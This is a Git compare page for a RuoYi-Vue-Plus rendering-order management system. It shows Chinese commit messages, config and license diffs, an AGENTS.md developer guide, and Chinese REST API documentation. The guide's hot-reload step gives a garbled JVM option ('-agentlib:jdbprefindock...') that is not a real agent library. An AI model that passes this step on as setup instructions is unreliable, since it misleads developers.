Compare commits

..

17 Commits

Author SHA1 Message Date
huacracker
0d6efb3e4e feat: 部门改价配置功能完善
- 修复部门改价配置保存问题(Mapstruct转换失败)
- 添加部门改价比例和开关字段
- 实现自动改价功能(根据部门配置)
- 改价金额抹零到十位数(58->50, 65->60)
- 修复部门缓存清除问题
2026-03-11 12:03:48 +08:00
huacracker
259526b31b feat(work): 实现订单指派时自动改价功能
在订单指派给设计师时,自动计算改价金额。使用jsPrice或price作为基准价,按10%比例计算改价,结果四舍五入到最接近的10的倍数。同时更新多个配置文件以适配新环境。
2026-03-10 11:23:34 +08:00
huacracker
4cb6d6fd20 docs: 添加AGENTS开发指南和API接口文档 2026-03-07 15:47:16 +08:00
huacracker
2640aeb97c feat: 更新项目配置及业务模块
- 添加热部署依赖(spring-boot-devtools)
- 更新数据库配置(192.168.1.203/oademo)
- 添加新业务模块(TpClientFund, TpDeptCost, TpDeptReport)
- 更新MySQL驱动版本到8.4.0
- 完善工作流模块及其他业务代码
2026-03-07 14:29:03 +08:00
清晨
fa64af2575 feat(工作流): 为 CustomerOrderVo 类添加新字段
- 新增备用字段4 (byFour)
- 新增满意度时间 (satisfiedTime)
- 新增违约金 (breach) 字段,并添加 Excel 导出属性
2025-09-06 16:31:27 +08:00
清晨
4789c477d3 feat(work): 新增订单修改功能并增加抵扣金和集材社订单ID字段
- 在 ITpOrderService 接口中新增 updateInfoByBo 方法用于修改订单信息
- 在 TpOrder、TpOrderBo、TpOrderVo 类中添加 coupon(抵扣金)和 jcOrderId(集材社订单ID)字段
- 更新 TpOrderServiceImpl 中的订单修改逻辑,考虑抵扣金因素
2025-08-29 23:32:57 +08:00
清晨
96cee51d91 feat(work): 新增订单修改功能并增加抵扣金和集材社订单ID字段
- 在 ITpOrderService 接口中新增 updateInfoByBo 方法用于修改订单信息
- 在 TpOrder、TpOrderBo、TpOrderVo 类中添加 coupon(抵扣金)和 jcOrderId(集材社订单ID)字段
- 更新 TpOrderServiceImpl 中的订单修改逻辑,考虑抵扣金因素
2025-08-16 15:40:22 +08:00
清晨
9ec76929d6 feat(work): 新增订单修改功能并增加抵扣金和集材社订单ID字段
- 在 ITpOrderService 接口中新增 updateInfoByBo 方法用于修改订单信息
- 在 TpOrder、TpOrderBo、TpOrderVo 类中添加 coupon(抵扣金)和 jcOrderId(集材社订单ID)字段
- 更新 TpOrderServiceImpl 中的订单修改逻辑,考虑抵扣金因素
2025-08-02 15:05:37 +08:00
清晨
0e97ce7b31 feat(work): 新增订单修改功能并增加抵扣金和集材社订单ID字段
- 在 ITpOrderService 接口中新增 updateInfoByBo 方法用于修改订单信息
- 在 TpOrder、TpOrderBo、TpOrderVo 类中添加 coupon(抵扣金)和 jcOrderId(集材社订单ID)字段
- 更新 TpOrderServiceImpl 中的订单修改逻辑,考虑抵扣金因素
2025-08-02 15:05:25 +08:00
清晨
ea517365d7 feat(system): 为 SysPicture及其相关模型添加价格字段- 在 SysPicture、SysPictureBo 和 SysPictureVo 中添加原价 (originalPrice) 和优惠价 (discountPrice) 字段
- 使用 BigDecimal 类型来精确表示价格信息
2025-08-02 15:03:36 +08:00
清晨
153d57bac2 feat(work): 修改用户相关代码并优化字段名称
- 将 TzUser、TzUserBo 和 TzUserVo 中的 "抵扣金额" 字段名称修改为 "抵扣金"
- 在 TzUserService 中添加根据手机号查询用户信息的方法
- 更新相关类和方法的注释
2025-08-02 15:01:11 +08:00
清晨
f0f608e7bb feat(backend): 添加集材社调用接口
- 新增 HomeController 类,实现集材社调用的接口
- 添加订单信息获取和更新功能
- 使用 Swagger 注解进行接口文档化
-集成幂等性注解防止重复提交
2025-08-02 14:58:46 +08:00
清晨
59a242f06b feat(backend): 添加集材社调用接口
- 新增 HomeController 类,实现集材社调用的接口
- 添加订单信息获取和更新功能
- 使用 Swagger 注解进行接口文档化
-集成幂等性注解防止重复提交
2025-08-02 14:58:16 +08:00
清晨
80231837fd feat(backend): 添加集材社调用接口
- 新增 HomeController 类,实现集材社调用的接口
- 添加订单信息获取和更新功能
- 使用 Swagger 注解进行接口文档化
-集成幂等性注解防止重复提交
2025-08-02 14:58:11 +08:00
清晨
99ca24efae feat(backend): 添加集材社调用接口
- 新增 HomeController 类,实现集材社调用的接口
- 添加订单信息获取和更新功能
- 使用 Swagger 注解进行接口文档化
-集成幂等性注解防止重复提交
2025-08-02 14:57:58 +08:00
清晨
868b10f107 feat(backend): 添加集材社调用接口
- 新增 HomeController 类,实现集材社调用的接口
- 添加订单信息获取和更新功能
- 使用 Swagger 注解进行接口文档化
-集成幂等性注解防止重复提交
2025-08-02 14:57:29 +08:00
清晨
5a0aa3993f feat(work): 添加关注和作品收藏功能
- 新增 TpFollow 和 TpWorks 表及相关实体类
- 实现关注和作品收藏的 CRUD 接口和业务逻辑
- 添加相关控制器和 Mapper 接口
- 更新 TpOrder 表,增加备用字段
2025-07-26 18:07:15 +08:00
1060 changed files with 92038 additions and 84364 deletions

BIN
.DS_Store vendored Normal file

Binary file not shown.

View File

@@ -1,18 +1,18 @@
# http://editorconfig.org # http://editorconfig.org
root = true root = true
# 空格替代Tab缩进在各种编辑工具下效果一致 # 空格替代Tab缩进在各种编辑工具下效果一致
[*] [*]
indent_style = space indent_style = space
indent_size = 4 indent_size = 4
charset = utf-8 charset = utf-8
end_of_line = lf end_of_line = lf
trim_trailing_whitespace = true trim_trailing_whitespace = true
insert_final_newline = true insert_final_newline = true
[*.{json,yml,yaml}] [*.{json,yml,yaml}]
indent_size = 2 indent_size = 2
[*.md] [*.md]
insert_final_newline = false insert_final_newline = false
trim_trailing_whitespace = false trim_trailing_whitespace = false

108
.gitignore vendored
View File

@@ -1,54 +1,54 @@
###################################################################### ######################################################################
# Build Tools # Build Tools
.gradle .gradle
/build/ /build/
!gradle/wrapper/gradle-wrapper.jar !gradle/wrapper/gradle-wrapper.jar
target/ target/
!.mvn/wrapper/maven-wrapper.jar !.mvn/wrapper/maven-wrapper.jar
###################################################################### ######################################################################
# IDE # IDE
### STS ### ### STS ###
.apt_generated .apt_generated
.classpath .classpath
.factorypath .factorypath
.project .project
.settings .settings
.springBeans .springBeans
### IntelliJ IDEA ### ### IntelliJ IDEA ###
.idea .idea
.vscode .vscode
.lingma .lingma
*.iws *.iws
*.iml *.iml
*.ipr *.ipr
### JRebel ### ### JRebel ###
rebel.xml rebel.xml
### NetBeans ### ### NetBeans ###
nbproject/private/ nbproject/private/
build/* build/*
nbbuild/ nbbuild/
nbdist/ nbdist/
.nb-gradle/ .nb-gradle/
###################################################################### ######################################################################
# Others # Others
*.log *.log
*.xml.versionsBackup *.xml.versionsBackup
*.swp *.swp
!*/build/*.java !*/build/*.java
!*/build/*.html !*/build/*.html
!*/build/*.xml !*/build/*.xml
.flattened-pom.xml .flattened-pom.xml
/logs/ /logs/
/ruoyi-admin/logs/ /ruoyi-admin/logs/
/.vscode/ /.vscode/
/.lingma/ /.lingma/

267
AGENTS.md Normal file
View File

@@ -0,0 +1,267 @@
# AGENTS.md - XGT Project Development Guide
## Project Overview
- **Project Name**: XGT (效果图业务系统)
- **Framework**: RuoYi-Vue-Plus (Spring Boot 3.3.5 + MyBatis-Plus)
- **Java Version**: 22
- **Build Tool**: Maven
---
## Build Commands
### Environment Setup
```bash
# Set Java 22 and Maven
export JAVA_HOME=/usr/local/opt/amazon-corretto-22.jdk/Contents/Home
export PATH=$JAVA_HOME/bin:/usr/local/Cellar/maven/3.9.12/bin:$PATH
```
### Build & Run
```bash
# Compile project
mvn clean compile -DskipTests
# Install to local repository
mvn clean install -DskipTests
# Run application (dev profile)
cd ruoyi-admin
mvn spring-boot:run -Dspring-boot.run.profiles=dev
# Run with hot reload (DevTools)
mvn spring-boot:run -Dspring-boot.run.profiles=dev
# Press Ctrl+F10 to reload changed classes
```
### Test Commands
```bash
# Run all tests
mvn test
# Run single test class
mvn test -Dtest=DemoUnitTest
# Run single test method
mvn test -Dtest=DemoUnitTest#testTest
# Run tests with specific tag (based on profile)
mvn test -Dgroups=dev
# Skip tests
mvn clean install -DskipTests
```
---
## Code Style Guidelines
### EditorConfig
The project uses `.editorconfig` for consistent formatting:
- **Indentation**: 4 spaces for Java, 2 spaces for YAML/JSON
- **Charset**: UTF-8
- **Line endings**: LF
- **Trailing whitespace**: Trimmed
### Java Conventions
#### Package & Import Organization
```java
// 1. Package declaration
package org.dromara.web.controller;
// 2. Third-party imports (alphabetical)
import cn.dev33.satoken.annotation.SaCheckPermission;
import cn.hutool.core.util.ObjectUtil;
// 3. Spring imports
import org.springframework.web.bind.annotation.*;
// 4. Project common imports
import org.dromara.common.core.domain.R;
import org.dromara.common.satoken.utils.LoginHelper;
// 5. Module imports
import org.dromara.system.domain.bo.SysUserBo;
import org.dromara.work.domain.TpOrder;
// 6. Java standard library
import java.util.List;
import java.util.Map;
```
#### Naming Conventions
| Element | Convention | Example |
|---------|------------|---------|
| Packages | lowercase | `org.dromara.work.service` |
| Classes | PascalCase | `IndexController`, `TpOrderService` |
| Methods | camelCase | `queryPageList()`, `selectById()` |
| Variables | camelCase | `loginUser`, `pageQuery` |
| Constants | UPPER_SNAKE_CASE | `MAX_RETRY_COUNT`, `DEFAULT_PAGE_SIZE` |
| BO/VO/DAO | PascalCase + suffix | `SysUserBo`, `TpOrderVo` |
#### Class Structure
```java
/**
* Class description
*
* @author AuthorName
*/
@RequiredArgsConstructor
@RestController
@RequestMapping("/api/path")
public class ExampleController {
// 1. Static constants (if any)
private static final String PREFIX = "prefix:";
// 2. Dependencies (private final)
private final UserService userService;
private final OrderService orderService;
// 3. Public methods (API endpoints)
@GetMapping("/list")
public R<TableDataInfo<Vo>> list(Bo bo, PageQuery query) {
return R.ok(service.queryPageList(bo, query));
}
// 4. Private methods
private void validateParams(Bo bo) {
// validation logic
}
}
```
#### Error Handling
```java
// Use R.fail() for business errors
return R.fail("Error message");
// Use try-catch for external calls
try {
result = externalService.call();
} catch (Exception e) {
log.error("Failed to call external service", e);
return R.fail("Service unavailable");
}
// Use ServiceException for framework errors
throw new ServiceException("Validation failed");
```
#### Logging
```java
// Use Lombok's @Slf4j
@Slf4j
public class ExampleService {
// Appropriate log levels
log.debug("Debug info: {}", data);
log.info("Operation completed: {}", result);
log.warn("Potential issue: {}", warning);
log.error("Error occurred", exception);
}
```
#### Database (MyBatis-Plus)
```java
// Query examples
LambdaQueryWrapper<TpOrder> wrapper = new LambdaQueryWrapper<>();
wrapper.eq(TpOrder::getStatus, 1)
.like(TpOrder::getName, keyword)
.orderByDesc(TpOrder::getCreateTime);
// Use service methods
return R.ok(service.queryPageList(bo, pageQuery));
// Pagination
PageQuery pageQuery = new PageQuery();
pageQuery.setPageNum(1);
pageQuery.setPageSize(10);
```
---
## Security Guidelines
### Sensitive Data
- **NEVER** hardcode credentials in source code
- Use environment variables or config center for secrets
- Never log passwords or sensitive information
### API Security
- Use `@SaCheckPermission` for permission control
- Use `@SaIgnore` for public endpoints
- Validate all input parameters
- Use `@RepeatSubmit` for idempotent requests
---
## Common Patterns
### REST Controller
```java
@GetMapping("/list")
public R<TableDataInfo<Vo>> list(Bo bo, PageQuery pageQuery) {
return R.ok(service.queryPageList(bo, pageQuery));
}
@PostMapping
public R<Boolean> add(@Validated @RequestBody Bo bo) {
return R.ok(service.insertByBo(bo));
}
@PutMapping
public R<Boolean> edit(@Validated @RequestBody Bo bo) {
return R.ok(service.updateByBo(bo));
}
@DeleteMapping("/{id}")
public R<Boolean> remove(@PathVariable Long id) {
return R.ok(service.deleteWithValidByIds(List.of(id)));
}
```
### Service Layer
```java
public interface IExampleService {
TableDataInfo<Vo> queryPageList(Bo bo, PageQuery pageQuery);
Vo queryById(Long id);
Boolean insertByBo(Bo bo);
Boolean updateByBo(Bo bo);
Boolean deleteWithValidByIds(Collection<Long> ids);
}
```
---
## Common Issues
### Database Connection
If encountering connection issues:
- Check firewall settings
- Verify database credentials
- Ensure MySQL connector version compatibility (8.4.0 recommended)
### Hot Reload
For DevTools hot reload in IDEA:
1. Enable `Build project automatically`
2. Add VM option: `-agentlib:jdbprefindock=on,server=y,suspend=n`
3. Press `Ctrl+F10` to reload changes

40
LICENSE
View File

@@ -1,20 +1,20 @@
The MIT License (MIT) The MIT License (MIT)
Copyright (c) 2019 RuoYi-Vue-Plus Copyright (c) 2019 RuoYi-Vue-Plus
Permission is hereby granted, free of charge, to any person obtaining a copy of Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so, the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions: subject to the following conditions:
The above copyright notice and this permission notice shall be included in all The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software. copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

BIN
bun.zip Normal file

Binary file not shown.

233
docs/API.md Normal file
View File

@@ -0,0 +1,233 @@
# XGT 系统接口列表
## 一、公共接口 (ruoyi-admin)
### 1. 认证相关 `/auth`
| 方法 | 路径 | 说明 |
|------|------|------|
| POST | `/auth/login` | 登录 |
| POST | `/auth/logout` | 登出 |
| POST | `/auth/register` | 注册 |
| GET | `/auth/tenant/list` | 租户列表 |
| GET | `/auth/code` | 验证码 |
### 2. 首页 `/`
| 方法 | 路径 | 说明 |
|------|------|------|
| GET | `/` | 欢迎页 |
| GET | `/banner` | 画册列表 |
| GET | `/banner/{id}` | 画册详情 |
| GET | `/prod` | 商品列表 |
| GET | `/prod/{id}` | 商品详情 |
| GET | `/tpSysUser` | 表现师列表 |
| GET | `/sysUser/{id}` | 用户详情 |
| GET | `/follow` | 关注列表 |
| POST | `/AddFollow` | 关注 |
| DELETE | `/delFollow` | 取消关注 |
| POST | `/isFollow` | 是否关注 |
| GET | `/tpWorks` | 作品列表 |
| POST | `/AddWorks` | 收藏作品 |
| DELETE | `/delWorks` | 取消收藏 |
| POST | `/isWorks` | 是否收藏 |
| POST | `/wx/jssdk` | 微信JSSDK签名 |
### 3. 首页统计 `/`
| 方法 | 路径 | 说明 |
|------|------|------|
| GET | `/indexSum` | 首页统计 |
| GET | `/rankingListKF` | 客服排行 |
| GET | `/rankingListKFSum` | 客服统计 |
| GET | `/rankingListJS` | 技术排行 |
| GET | `/rankingListJSSum` | 技术统计 |
| GET | `/deptRankingList` | 客服部排行 |
| GET | `/deptRankingList1` | 客服部排行(单) |
| GET | `/deptRankingJSList` | 技术部排行 |
| GET | `/deptRankingJSList1` | 技术部排行(单) |
| GET | `/khRankingList` | 客户下单排行 |
| GET | `/khRankingListSum` | 客户下单统计 |
| GET | `/kfDayList` | 客服数据分析(日) |
| GET | `/wxDayList` | 微信好友分析(日) |
| GET | `/wxDayList1` | 微信好友分析(日) |
| GET | `/wxMonthList` | 微信好友分析(月) |
| GET | `/ftDayList` | 技术部分图(日) |
| GET | `/jsDayList` | 技术部月报 |
| POST | `/monthArrivedPer` | 月业绩统计 |
| POST | `/yearArrivedPer` | 年业绩统计 |
| POST | `/monthOrderType` | 订单类型统计 |
| POST | `/monthOrderSpace` | 订单空间统计 |
| POST | `/monthOrderStyle` | 订单风格统计 |
| POST | `/newOldOrderPer` | 新老客户占比 |
| POST | `/notifyCheckSign` | 银盛支付回调 |
| POST | `/updateOrder` | 更新订单部门状态 |
---
## 二、业务模块 (ruoyi-work)
### 订单模块 `/work/order*`
| 控制器 | 路径 | 说明 |
|--------|------|------|
| TpOrderController | `/work/order` | 订单管理 |
| CustomerOrderController | `/work/customer/order` | 客户订单 |
| SkillOrderController | `/work/skill/order` | 技术订单 |
| TpOrderBigController | `/work/orderBig` | 大图订单 |
| TpOrderSmallController | `/work/orderSmall` | 小图订单 |
| TpOrderCdController | `/work/orderCd` | 拆单记录 |
| TpOrderRecordController | `/work/orderRecord` | 操作记录 |
| TpOrderPayController | `/work/orderPay` | 支付记录 |
| TpOrderCommentController | `/work/orderComment` | 订单评价 |
| TpOrderModelController | `/work/orderModel` | 订单模板 |
#### CustomerOrderController 详细接口
| 方法 | 路径 | 说明 |
|------|------|------|
| GET | `/work/customer/order/list` | 客户订单列表 |
| GET | `/work/customer/order/sum` | 客户订单统计 |
| POST | `/work/customer/order/export` | 导出客户订单 |
| GET | `/work/customer/order/{id}` | 客户订单详情 |
| POST | `/work/customer/order` | 新增客户订单 |
| PUT | `/work/customer/order` | 更新客户订单 |
| DELETE | `/work/customer/order/{ids}` | 删除客户订单 |
| POST | `/work/customer/order/assign` | 派单 |
| POST | `/work/customer/order/cancelAssign` | 取消派单 |
| GET | `/work/customer/order/queryOrderPay/{orderId}` | 查询支付信息 |
| POST | `/work/customer/order/pay` | 支付 |
| GET | `/work/customer/order/orderFallback/{orderId}` | 退款信息 |
| POST | `/work/customer/order/fallback` | 退款 |
| GET | `/work/customer/order/cdOrderInfo/{orderId}` | 拆单信息 |
| POST | `/work/customer/order/cdOrder` | 拆单 |
| GET | `/work/customer/order/gjOrderInfo/{orderId}` | 改价信息 |
| POST | `/work/customer/order/gjOrder` | 改价 |
### 客户模块 `/work/client*`
| 控制器 | 路径 | 说明 |
|--------|------|------|
| TpClientController | `/work/client` | 客户管理 |
| TpClientStaffController | `/work/clientStaff` | 客服客户 |
| TpClientFundController | `/work/clientFund` | 客户资金 |
#### TpClientController 详细接口
| 方法 | 路径 | 说明 |
|------|------|------|
| GET | `/work/client/list` | 客户列表 |
| GET | `/work/client/listChart` | 客户订单统计 |
| POST | `/work/client/export` | 导出客户 |
| GET | `/work/client/{id}` | 客户详情 |
| POST | `/work/client` | 新增客户 |
| PUT | `/work/client` | 更新客户 |
| DELETE | `/work/client/{ids}` | 删除客户 |
### 员工模块 `/work/staff*`
| 控制器 | 路径 | 说明 |
|--------|------|------|
| TpStaffController | `/work/staff` | 员工管理 |
| TzUserController | `/mall/user` | 用户管理 |
| TpStaffPayController | `/work/staffPay` | 员工薪资 |
| TpIntegralDetailController | `/work/integralDetail` | 积分明细 |
### 微信模块 `/work/wechat*`
| 控制器 | 路径 | 说明 |
|--------|------|------|
| TpWechatController | `/work/wechat` | 微信管理 |
| TpWechatUserController | `/work/wechatUser` | 微信用户 |
| TpWechatNumController | `/work/wechatNum` | 微信好友数 |
#### TpWechatController 详细接口
| 方法 | 路径 | 说明 |
|------|------|------|
| GET | `/work/wechat/list` | 微信列表 |
| GET | `/work/wechat/wechatSum` | 微信统计 |
| POST | `/work/wechat/export` | 导出微信 |
| GET | `/work/wechat/{id}` | 微信详情 |
| POST | `/work/wechat` | 新增微信 |
| PUT | `/work/wechat` | 更新微信 |
| POST | `/work/wechat/editUser` | 更新用户 |
| DELETE | `/work/wechat/{ids}` | 删除微信 |
### 财务模块 `/work/receipt*`
| 控制器 | 路径 | 说明 |
|--------|------|------|
| TpReceiptController | `/work/receipt` | 收款管理 |
| TpRemittanceController | `/work/remittance` | 汇款管理 |
#### TpReceiptController 详细接口
| 方法 | 路径 | 说明 |
|------|------|------|
| GET | `/work/receipt/list` | 收款列表 |
| GET | `/work/receipt/receiptSum` | 收款统计 |
| POST | `/work/receipt/export` | 导出收款 |
| GET | `/work/receipt/{id}` | 收款详情 |
| POST | `/work/receipt` | 新增收款 |
| POST | `/work/receipt/claim` | 认领汇款 |
| POST | `/work/receipt/back` | 退回汇款 |
| DELETE | `/work/receipt/{ids}` | 删除收款 |
### 统计数据 `/work/dept*`
| 控制器 | 路径 | 说明 |
|--------|------|------|
| TpDeptReportController | `/work/deptReport` | 部门报表 |
| TpDeptCostController | `/work/deptCost` | 部门成本 |
| TpYearController | `/work/year` | 年度目标 |
| TpMonthController | `/work/month` | 月度目标 |
### 资源模块
| 控制器 | 路径 | 说明 |
|--------|------|------|
| TpProdController | `/work/prod` | 商品管理 |
| TpWorksController | `/work/works` | 作品收藏 |
| TpFollowController | `/work/follow` | 关注管理 |
| TpPanoramaController | `/work/panorama` | 全景图 |
| TpDesignQuotesController | `/work/designQuotes` | 设计报价 |
| TpFieldController | `/work/field` | 领域管理 |
| TpChangePriceController | `/work/changePrice` | 改价配置 |
| TzSharedAccountController | `/work/sharedAccount` | 共享账号 |
#### TpPanoramaController 详细接口
| 方法 | 路径 | 说明 |
|------|------|------|
| GET | `/work/panorama/list` | 全景图列表 |
| GET | `/work/panorama/listByOrderId` | 根据订单ID查询全景图 |
| POST | `/work/panorama/export` | 导出全景图 |
| GET | `/work/panorama/{id}` | 全景图详情 |
| POST | `/work/panorama` | 新增全景图 |
| PUT | `/work/panorama` | 更新全景图 |
| DELETE | `/work/panorama/{ids}` | 删除全景图 |
---
## 三、通用CRUD接口格式
```
GET /{path}/list # 列表查询
POST /{path}/export # 导出数据
GET /{path}/{id} # 详情查询
POST /{path} # 新增
PUT /{path} # 更新
DELETE /{path}/{ids} # 删除
```
---
## 四、接口统计
- **ruoyi-admin**: 5 个控制器 (HomeController, IndexController, LoginController, AuthController, CaptchaController)
- **ruoyi-work**: 34 个控制器
- **总计**: 39 个控制器
---
## 五、订单状态流转
```
客户下单 → 客服派单 → 技术接单 → 设计制作 → 完成交付 → 客户评价
申请退款 (可选)
```
## 六、用户身份
| identity | 说明 |
|----------|------|
| 1 | 管理员 |
| 2 | 表现师/技术 |
| 3 | 客服 |

789
docs/API_DEV.md Normal file
View File

@@ -0,0 +1,789 @@
# XGT 效果图业务系统 - 开发接口对接文档
**版本**: 1.0
**日期**: 2026-03-07
**基础URL**: `http://localhost:8088`
---
## 一、认证接口
### 1.1 登录
```
POST /auth/login
Content-Type: application/json
```
**请求参数**:
```json
{
"username": "用户名",
"password": "密码",
"code": "验证码",
"uuid": "验证码ID",
"tenantId": "租户ID",
"grantType": "password",
"clientId": "客户端ID"
}
```
**响应示例**:
```json
{
"code": 200,
"msg": "操作成功",
"data": {
"accessToken": "xxx",
"expiresIn": 1209600,
"refreshToken": "xxx",
"refreshExpiresIn": 2592000,
"tokenType": "Bearer"
}
}
```
### 1.2 退出登录
```
POST /auth/logout
Authorization: Bearer <token>
```
**响应示例**:
```json
{
"code": 200,
"msg": "退出成功"
}
```
### 1.3 注册
```
POST /auth/register
Content-Type: application/json
```
**请求参数**:
```json
{
"username": "用户名",
"password": "密码",
"nickName": "昵称",
"phone": "手机号",
"tenantId": "租户ID"
}
```
### 1.4 获取租户列表
```
GET /auth/tenant/list
```
**响应示例**:
```json
{
"code": 200,
"data": {
"tenantEnabled": true,
"voList": [
{
"tenantId": "1",
"tenantName": "默认租户",
"domain": "localhost"
}
]
}
}
```
### 1.5 获取用户信息
```
GET /auth/login/info
Authorization: Bearer <token>
```
---
## 二、首页接口
### 2.1 首页欢迎
```
GET /
```
**响应示例**:
```json
"欢迎使用XGT后台管理框架当前版本v5.2.3,请通过前端地址访问。"
```
### 2.2 画册列表
```
GET /banner
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| pageNum | int | 页码默认1 |
| pageSize | int | 每页数量默认10 |
| title | string | 标题(模糊搜索) |
| status | int | 状态1启用 |
### 2.3 商品列表
```
GET /prod
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| pageNum | int | 页码 |
| pageSize | int | 每页数量 |
| name | string | 商品名称 |
| status | int | 状态 |
### 2.4 表现师列表
```
GET /tpSysUser
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| pageNum | int | 页码 |
| pageSize | int | 每页数量 |
| nickName | string | 昵称 |
| identity | int | 身份2表现师 |
### 2.5 用户详情
```
GET /sysUser/{id}
Authorization: Bearer <token>
```
### 2.6 关注操作
```
POST /AddFollow
Authorization: Bearer <token>
Content-Type: application/json
```
**请求参数**:
```json
{
"followUserId": "被关注用户ID",
"type": "关注类型"
}
```
### 2.7 取消关注
```
DELETE /delFollow
Authorization: Bearer <token>
Content-Type: application/json
```
**请求参数**:
```json
{
"id": "关注记录ID"
}
```
### 2.8 作品收藏
```
POST /AddWorks
Authorization: Bearer <token>
Content-Type: application/json
```
**请求参数**:
```json
{
"worksId": "作品ID",
"type": "收藏类型"
}
```
---
## 三、订单接口
### 3.1 订单列表(客服)
```
GET /work/customer/order/list
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| pageNum | int | 页码 |
| pageSize | int | 每页数量 |
| orderId | string | 订单编号 |
| kid | long | 客户ID |
| sid | long | 客服ID |
| state | int | 订单状态 |
| deptId | long | 部门ID |
| startTime | date | 开始时间 |
| endTime | date | 结束时间 |
**订单状态说明**:
| 值 | 说明 |
|----|------|
| 1 | 录入订单 |
| 2 | 上传小图 |
| 3 | 上传大图 |
| 4 | 已完成 |
| 5 | 已评价 |
### 3.2 订单统计(客服)
```
GET /work/customer/order/sum
Authorization: Bearer <token>
```
**响应示例**:
```json
{
"code": 200,
"data": {
"orderCount": 100,
"payCount": 80,
"priceSum": 50000.00,
"unPayCount": 20
}
}
```
### 3.3 新增订单
```
POST /work/customer/order
Authorization: Bearer <token>
Content-Type: application/json
```
**请求参数**:
```json
{
"orderId": "订单编号(自动生成)",
"kid": 1,
"wid": 1,
"style": 1,
"space": "客厅",
"quality": 1,
"num": 5,
"price": 500.00,
"remark": "备注",
"type": 1
}
```
### 3.4 订单派单
```
POST /work/customer/order/assign
Authorization: Bearer <token>
Content-Type: application/json
```
**请求参数**:
```json
{
"orderIds": [1, 2, 3],
"userId": 100
}
```
### 3.5 取消派单
```
POST /work/customer/order/cancelAssign
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| orderId | long | 订单ID |
### 3.6 订单支付
```
POST /work/customer/order/pay
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| orderId | long | 订单ID |
| type | int | 类型1客户 2客服 |
| price | BigDecimal | 支付金额 |
### 3.7 订单退款
```
POST /work/customer/order/fallback
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| orderId | long | 订单ID |
| type | int | 类型1客户 2客服 |
| price | BigDecimal | 退款金额 |
### 3.8 订单拆单
```
POST /work/customer/order/cdOrder
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| orderId | long | 订单ID |
| price | BigDecimal | 拆单金额 |
### 3.9 订单改价
```
POST /work/customer/order/gjOrder
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| orderId | long | 订单ID |
| price | BigDecimal | 新价格 |
### 3.10 订单详情
```
GET /work/customer/order/{id}
Authorization: Bearer <token>
```
### 3.11 更新订单
```
PUT /work/customer/order
Authorization: Bearer <token>
Content-Type: application/json
```
### 3.12 删除订单
```
DELETE /work/customer/order/{ids}
Authorization: Bearer <token>
```
---
## 四、客户接口
### 4.1 客户列表
```
GET /work/client/list
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| pageNum | int | 页码 |
| pageSize | int | 每页数量 |
| name | string | 客户名称 |
| phone | string | 手机号 |
### 4.2 客户订单统计
```
GET /work/client/listChart
Authorization: Bearer <token>
```
### 4.3 客户详情
```
GET /work/client/{id}
Authorization: Bearer <token>
```
### 4.4 新增客户
```
POST /work/client
Authorization: Bearer <token>
Content-Type: application/json
```
**请求参数**:
```json
{
"name": "客户名称",
"phone": "手机号",
"wechat": "微信",
"remark": "备注"
}
```
---
## 五、员工接口
### 5.1 员工列表
```
GET /work/staff/list
Authorization: Bearer <token>
```
### 5.2 用户列表
```
GET /mall/user/list
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| pageNum | int | 页码 |
| pageSize | int | 每页数量 |
| nickName | string | 昵称 |
| identity | int | 身份1管理员 2技术 3客服 |
---
## 六、微信接口
### 6.1 微信列表
```
GET /work/wechat/list
Authorization: Bearer <token>
```
**查询参数**:
| 参数 | 类型 | 说明 |
|------|------|------|
| pageNum | int | 页码 |
| pageSize | int | 每页数量 |
| code | string | 微信编号 |
| user | string | 微信昵称 |
| createDept | long | 所属部门 |
### 6.2 微信统计
```
GET /work/wechat/wechatSum
Authorization: Bearer <token>
```
---
## 七、财务接口
### 7.1 收款列表
```
GET /work/receipt/list
Authorization: Bearer <token>
```
### 7.2 收款统计
```
GET /work/receipt/receiptSum
Authorization: Bearer <token>
```
